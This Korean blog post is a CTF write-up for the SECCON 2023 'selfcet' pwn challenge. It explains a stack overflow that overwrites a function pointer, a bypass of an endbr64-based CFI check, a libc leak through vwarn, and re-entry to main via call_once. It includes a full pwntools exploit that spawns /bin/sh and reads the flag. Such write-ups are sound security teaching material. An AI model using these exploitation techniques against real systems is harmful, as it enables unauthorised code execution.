문제개요
author:ptr-yudai
I wrote Software CET because Intel CET is not yet widely available.
nc selfcet.seccon.games 9999
selfcet.tar.gz 799116aecdcba7519d6778fda8d7c2914e75d979
Files
- main.c
- xor (executable)
요약
- Simple stack buffer overflow
- 바이러니 내에 구현된 CET(Control-Flow Enforcement Technology) 보호기법을 우회하여 익스플로잇
1. Analysis
main.c
int main() {
ctx_t ctx = { .error = NULL, .status = 0, .throw = err };
read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx));
read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx));
encrypt(&ctx);
write(STDOUT_FILENO, ctx.buf, KEY_SIZE);
return 0;
}
- main 함수는
read_memeber()
함수를 2번 호출하여 데이터(xor_key, plaintext)를 입력받고encrypt()
함수로 두 데이터를 xor 연산 후 출력한다. ctx_t
구조체는 아래와 같다.
typedef struct {
char key[KEY_SIZE];
char buf[KEY_SIZE];
const char *error;
int status;
void (*throw)(int, const char*, ...);
} ctx_t;
read_member()
함수는 3개의 인자를 받아,ctx_t
객체 + offset에 size 만큼 사용자 입력을 받는 역할을 한다.main()
함수에서ctx_t.key
와ctx_t.buf
멤버 변수의 offset을 인자로 사용했지만, 사용자로부터 입력받을 데이터의 최대 크기인 size인자로sizeof(ctx_t)
를 사용하기 때문에 overflow가 발생한다.
void read_member(ctx_t *ctx, off_t offset, size_t size) {
if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) {
ctx->status = EXIT_FAILURE;
ctx->error = "I/O Error";
}
ctx->buf[strcspn(ctx->buf, "\n")] = '\0';
if (ctx->status != 0)
CFI(ctx->throw)(ctx->status, ctx->error);
}
void encrypt(ctx_t *ctx) {
for (size_t i = 0; i < KEY_SIZE; i++)
ctx->buf[i] ^= ctx->key[i];
}
ctx_t
구조체에ctx_t.throw
라는 함수 포인터가 멤버변수로 존재하기 때문에, 해당 함수 포인터를 조작하여 rip를 control 할 수 있을 것으로 보인다.- 하지만 아래와 같이
ctx->throw()
호출 전에 CFI(Control Flow Integrity) 매크로를 사용하여 검증하는 루틴이 존재한다. CFI(ctx->throw)(ctx->status, ctx->error);
1.3. Simple CFI
- CFI 매크로는 아래와 같이 호출하고자 하는 함수의 첫 instruction이 endbr64 (end branch64)인지 검증하고
trap()
을 발생시킨다. - CET의 기능을 간단하게 구성한 것으로 보인다.
#define INSN_ENDBR64 (0xF30F1EFA) /* endbr64 */
#define CFI(f) \
({ \
if (__builtin_bswap32(*(uint32_t*)(f)) != INSN_ENDBR64) \
__builtin_trap(); \
(f); \
})
Endbr64(endbranch 32/64) 명령어는 indirect branch tracking에 사용되는 명령어
- CET가 활성화 된 시스템에서는 indirect branch (jmp, call) 이후에 endbr32/64 명령어가 나오지 않으면 control protection 예외(#CP)가 발생) (https://core-research-team.github.io/2020-05-01/memory)
- CET가 활성화되지 않은 시스템에서는 nop으로 처리
2. Exploitation
2.1. Memory leak
- throw 핸들러의 초기 값인 err과 상위 6byte가 같은 libc 함수인
__GI_vwarn()
을 활용했다. 0x7ffff7d20ff0 <__GI_vwarn>: endbr64
- vwarn 함수는 아래와 같이 구성된다.
void
__vwarn_internal (const char *format, __gnuc_va_list ap,
unsigned int mode_flags)
{
int error = errno;
flockfile (stderr);
if (format != NULL)
{
__fxprintf (stderr, "%s: ", __progname);
__vfxprintf (stderr, format, ap, mode_flags);
__set_errno (error);
__fxprintf (stderr, ": %m\n");
}
else
{
__set_errno (error);
__fxprintf (stderr, "%s: %m\n", __progname);
}
funlockfile (stderr);
}
- 1번 인자(format)가 가리키는 주소에서 값을 출력해주기 때문에 해당함수를 사용하여 메모리를 릭할 수 있다.
################# 1st main ##################
#### leak libc
'''
0x7ffff7d20ff0 <__GI_vwarn>: endbr64
'''
leak_payload = b''
leak_payload += b'k' * KEY_SIZE
leak_payload += b'b' * KEY_SIZE
leak_payload += p64(write_got)
leak_payload += p32(write_got)
leak_payload += p32(0x00000000)
leak_payload += b'\xf0\x0f' # 0x7ffff7d20ff0 <__GI_vwarn>: endbr64
ss(leak_payload)
if rr(5, timeout=1) != b'xor: ':
s.close()
exit(-1)
leaked = u64(rr(6).ljust(8, b'\x00'))
ru(b': Success\n')
2.2. Return to main
main()
함수에서read_member()
함수를 한번 더 호출하기 때문에 공격자는 2.1.을 통해 libc 주소를 아는 상태에서 다시 한 번 취약점을 트리거할 수 있다.- 하지만 바로 쉘을 획득하기에는 약간의 제약조건이 존재한다.
- CFI로 인해 one gadget을 포함한 다른 가젯들을 사용할 수 없다.
- 첫 번째 인자는 32bit 주소여야 한다.
2.
로 인해 첫 번째 인자는 문제 바이너리의 주소로 한정되는데, 아직 해당 메모리에는libc_system()
함수의 인자로 사용할 문자열("/bin/sh" 등)이 준비되어있지 않다.
- 따라서 쉘 획득을 위해서는 최소 2번의 라이브러리 호출이 필요하기 때문에
main()
함수를 다시 호출하여 취약점을 처음부터 다시 트리거하는 방법을 활용한다. - 하지만 CFI로 인해
endbr64
명령으로 시작하지않는main()
함수의 직접 호출이 제한되어 우회할 방법이 필요하다.
// __libc_start_main
을 사용하여 main()
함수를 호출하고자 했지만, 인자구성으로 인해 안타깝게도 자신을 무한히 재귀호출하여 main()
을 호출하지 못했음
call_once
- (1)endbr64 명령으로 시작하는 함수, (2)인자로 함수의 주소를 받아 호출해하는 함수라는 두 조건을 만족하는 함수를 구글링하던 중
call_once()
라는 라이브러리 함수를 발견했다. call_once
함수는 C++11부터 제공되는 함수이며, multi-thread 환경에서 특정함수를 단 한 번만 호출하도록 할 수 있는 (Singleton 패턴을 지원하는) 함수이다.
#include <threads.h>
void call_once (once_flag * flag, void * func (void));
call_once example
- once.c (출처 : https://cafemocamoca.tistory.com/220)
// https://cafemocamoca.tistory.com/220
#include <iostream>
#include <thread>
#include <mutex>
std::once_flag onceFlag;
void do_once() {
std::call_once(onceFlag, []() { std::cout << "Only once." << std::endl; });
}
int main()
{
std::cout << std::endl;
std::thread t1(do_once);
std::thread t2(do_once);
std::thread t3(do_once);
std::thread t4(do_once);
t1.join();
t2.join();
t3.join();
t4.join();
return 0;
}
- 실행결과
Only once.
call_once 함수를 활용한 main() 함수 호출
call_once(flag, main)
호출을 통해main()
을 다시 호출할 수 있다.
#### return to main
'''
--
000000000009d550 <call_once@@GLIBC_2.34>:
9d550: f3 0f 1e fa endbr64
--
'''
main_payload = b''
main_payload += b'b' * KEY_SIZE
main_payload += p64(main)
main_payload += p32(zero_ptr)
main_payload += p32(0)
main_payload += p64(libc_call_once)
ss(main_payload)
time.sleep(0.2)
2.3. gets(&bss_memory); system(&bss_memory);
- libc 주소를 알고있는 상태에서 다시
main()
함수를 호출했기 때문에, 공격자는 원하는 함수를 호출할 수 있다. - 먼저
gets()
함수를 호출하여 .bss에 "/bin/sh"를 입력받고, 이후system()
함수를 호출하여 "/bin/sh"를 실행한다.
#### gets("/bin/sh")
gets_payload = b''
gets_payload += b'k' * KEY_SIZE
gets_payload += b'b' * KEY_SIZE
gets_payload += p64(0)
gets_payload += p32(bss)
gets_payload += p32(0)
gets_payload += p64(libc_gets)
ss(gets_payload)
time.sleep(0.2)
sl(b'/bin/sh\x00')
time.sleep(0.2)`
#### system("/bin/sh")
system_payload = b''
system_payload += b'b' \* KEY\_SIZE
system_payload += p64(0)
system_payload += p32(bss)
system_payload += p32(0)
system_payload += p64(libc\_system)
ss(system_payload)
time.sleep(0.2)
#############################################
s.interactive()
3. Exploit
#!/usr/bin/python
from pwn import *
import time
context.log_level = 'error'
#s = process('./xor')
s = remote('selfcet.seccon.games', 9999)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send
write_got = 0x403fd0
read_member = 0x4010f6
main = 0x401209
bss = 0x404028
zero_ptr = bss - 8
KEY_SIZE = 0x20
################# 1st main ##################
#### leak libc
'''
0x7ffff7d20ff0 <__GI_vwarn>: endbr64
'''
leak_payload = b''
leak_payload += b'k' * KEY_SIZE
leak_payload += b'b' * KEY_SIZE
leak_payload += p64(write_got)
leak_payload += p32(write_got)
leak_payload += p32(0x00000000)
leak_payload += b'\xf0\x0f' # 0x7ffff7d20ff0 <__GI_vwarn>: endbr64
ss(leak_payload)
if rr(5, timeout=1) != b'xor: ':
s.close()
exit(-1)
leaked = u64(rr(6).ljust(8, b'\x00'))
ru(b': Success\n')
libc_base = leaked - 0x114a20 # write@libc - offset
libc_system = libc_base + 0x50d60
libc_start_main = libc_base + 0x29dc0
libc_gets = libc_base + 0x805a0
libc_puts = libc_base + 0x80ed0
libc_call_once = libc_base + 0x9d550
libc_start_call_main = libc_base + 0x29d10
libc_start_main_impl = libc_base + 0x29dc0
print(hex(libc_base))
print(hex(libc_system))
time.sleep(0.2)
#### return to main
'''
--
000000000009d550 <call_once@@GLIBC_2.34>:
9d550: f3 0f 1e fa endbr64
--
'''
main_payload = b''
main_payload += b'b' * KEY_SIZE
main_payload += p64(main)
main_payload += p32(zero_ptr)
main_payload += p32(0)
main_payload += p64(libc_call_once)
ss(main_payload)
time.sleep(0.2)
#############################################
################# 2nd main ##################
#### gets("/bin/sh")
gets_payload = b''
gets_payload += b'k' * KEY_SIZE
gets_payload += b'b' * KEY_SIZE
gets_payload += p64(0)
gets_payload += p32(bss)
gets_payload += p32(0)
gets_payload += p64(libc_gets)
ss(gets_payload)
time.sleep(0.2)
sl(b'/bin/sh\x00')
time.sleep(0.2)
#### system("/bin/sh")
system_payload = b''
system_payload += b'b' * KEY_SIZE
system_payload += p64(0)
system_payload += p32(bss)
system_payload += p32(0)
system_payload += p64(libc_system)
ss(system_payload)
time.sleep(0.2)
#############################################
s.interactive()
s.close()
$ while [ 1 ] ; do python ex.py ; sleep 1 ; done
0x7f4a79060000
0x7f4a790b0d60
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ cat /flag*
SECCON{b7w_CET_1s_3n4bL3d_by_arch_prctl}
Flag : SECCON{b7w_CET_1s_3n4bL3d_by_arch_prctl}
'CTF > 2023' 카테고리의 다른 글
[CTF][2023] CCE 2023 QUAL - babykernel (0) | 2024.03.18 |
---|---|
[CTF][2023] CCE 2023 Qual - babyweb_1 (0) | 2024.03.12 |
[CTF][2023] Whitehat contest Qual - pwn1 (0) | 2024.03.02 |
[CTF][2023] CTFZone Qual 2023 - dead or alive 2 (0) | 2024.03.02 |